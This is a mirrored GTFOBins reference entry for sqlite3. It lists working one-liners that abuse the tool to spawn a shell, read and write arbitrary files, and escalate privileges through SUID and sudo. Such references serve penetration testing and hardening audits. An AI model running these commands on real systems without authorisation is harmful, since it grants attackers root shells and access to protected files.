mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
30 lines
666 B
Markdown
30 lines
666 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: sqlite3 /dev/null '.shell /bin/sh'
|
|
file-write:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sqlite3 << EOF
|
|
CREATE TABLE t(line TEXT);
|
|
.import $LFILE t
|
|
SELECT * FROM t;
|
|
EOF
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sqlite3 << EOF
|
|
CREATE TABLE t(line TEXT);
|
|
.import $LFILE t
|
|
SELECT * FROM t;
|
|
EOF
|
|
sudo:
|
|
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
|
|
limited-suid:
|
|
- code: "./sqlite3 /dev/null '.shell /bin/sh'"
|
|
---
|